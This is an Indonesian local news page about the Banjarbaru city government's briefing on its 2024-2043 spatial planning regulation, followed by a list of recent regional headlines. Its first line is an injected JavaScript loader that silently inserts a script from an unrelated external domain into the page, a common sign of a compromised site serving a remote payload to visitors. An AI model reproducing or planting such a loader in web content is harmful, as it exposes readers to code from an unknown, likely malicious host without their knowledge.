(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sosialisasi Perda RTRW Banjarbaru 2024-2043, Ini Kata Pjs Wali Kota


KANALKALIMANTAN.COM, BANJARBARU – Rencana Tata Ruang Wilayah (RTRW) yang terintegrasi dan berkelanjutan, Pemerintah Kota Banjarbaru menggelar sosialisasi Peraturan Daerah (Perda) Kota Banjarbaru Nomor 4 Tahun 2024 tentang RTRW 2024-2043. Acara berlangsung di Berlian Meeting Room Hotel Grand Qin Kota Banjarbaru, Selasa (19/11/2024) pagi.

Sosialisasi dibuka oleh Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani. Dia menyampaikan RTRW Kota Banjarbaru 2024-2043 disusun berdasarkan perkiraan kecenderungan. Serta arahan perkembangan kebutuhan akan ruang untuk pelaksanaan pembangunan selama 20 tahun ke depan.

“Pelaksanaan penataan ruang ini meliputi tiga kegiatan, yaitu perencanaan tata ruang, pemanfaatan ruang, dan pengendalian pemanfaatan ruang,” katanya.

Baca juga: KPK Panggil Ketua DPRD Kalsel Saksi Kasus Suap Proyek

Sosialisasi Peraturan Daerah (Perda) Kota Banjarbaru Nomor 4 Tahun 2024 tentang RTRW 2024-2043. Foto: prokopim

“Saya berharap dengan adanya Perda ini, mampu memenuhi kebutuhan akan ruang, serta meningkatkan kesejahteraan masyarakat tanpa mengabaikan prinsip keberlanjutan dan kelestarian lingkungan hidup,” tegasnya.

Pelaksanaan penataan ruang ini meliputi tiga kegiatan, yaitu perencanaan tata ruang, pemanfaatan ruang, dan pengendalian pemanfaatan ruang.

Baca juga: Pj Wali Kota Sorong Pelajari MPP Banjarbaru

Salah satu bagian dari kegiatan penataan ruang yang dilaksanakan oleh Pemerintah Kota Banjarbaru adalah peninjauan kembali terhadap Perda Nomor 13 Tahun 2014 tentang RTRW Kota Banjarbaru tahun 2014-2034. Hasil peninjauan kembali terhadap Perda Nomor 13 Tahun 2014 adalah rekomendasi bahwa perlu dilakukan revisi terhadap Perda tersebut.

“Hasil revisi Perda Nomor 13 Tahun 2014, maka terbitlah Perda Nomor 4 tahun 2024 tentang RTRW Kota Banjarbaru 2024-2043,” sebutnya.

Baca juga: CEK FAKTA: Pernyataan Rahmadian Noor soal Terlambatnya Sebaran Pupuk dan Kontribusi Batola 20% terhadap Produksi Beras di Kalsel

Dengan hadirnya Perda Nomor 4 Tahun 2024 diharapkan penyelenggaraan perencanaan tata ruang, pemanfaatan ruang, dan pengendalian pemanfaatan ruang mampu memenuhi kebutuhan akan ruang, serta meningkatkan kesejahteraan masyarakat tanpa mengabaikan prinsip keberlanjutan dan kelestarian lingkungan hidup. (Kanalkalimantan.com/rls)

Reporter: rls
Editor: kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.